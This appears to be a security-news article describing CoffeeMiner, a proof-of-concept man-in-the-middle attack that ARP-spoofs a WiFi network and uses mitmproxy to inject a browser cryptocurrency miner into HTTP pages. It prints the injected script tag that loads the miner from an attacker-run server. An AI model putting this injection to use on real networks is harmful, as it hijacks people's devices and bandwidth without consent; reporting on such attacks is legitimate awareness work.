Cryptocurrency Miners are in the raise starting from last year, more than 500 million computers are mining cryptoCurrency in their browsers without the user’s knowledge.

A developer named Arnau published the CoffeeMiner script which intercepts the traffic between the users and the routers to inject scripts into HTML pages.

Arnau published a PoC explaining how a MITM attack performed (Man(Person)-In-The-Middle) to inject some javascript in the HTML pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.

Attack Scenario – CoffeeMiner

CoffeeMiner employees ARPspoofing(used for resolving network layer address (IP) into link layer address (MAC)) for spoofing messages onto a local area network.

Also Read Xerosploit – Toolkit to Perform MITM, Spoofing, DOS, Images Sniffing/Replacement, WD Attacks

The mitmproxy used to analyze the traffic flow and to edit the traffic data. Here he injected a line of code into HTML pages that call the javascript cryptocurrency miner which is deployed in the in the attacker machine.

Injected Code

<script src=”http://httpserverIP:8000/script.js”></script>

Arnau used CoinHive javascript miner, “Coinhive offers a JavaScript miner for the Monero Blockchain that can be embedded into other Websites. The users run the miner directly in their Browser and mine XMR for the site owner in turn for an ad-free experience, in-game currency or whatever incentives they are availing to their users/visitors”.

He set up a Virtual box environment to demonstrate this and also published PoC video.

Now the CoffeeMiner works only with HTTP version and not with HTTPs, Arnau said he will be adding sslstrip to inject with HTTPS sites and autonomous Nmap scan, to add the IPs detected to the CoffeeMiner victim’s list.

The complete source code of CoffeeMiner published in GitHub.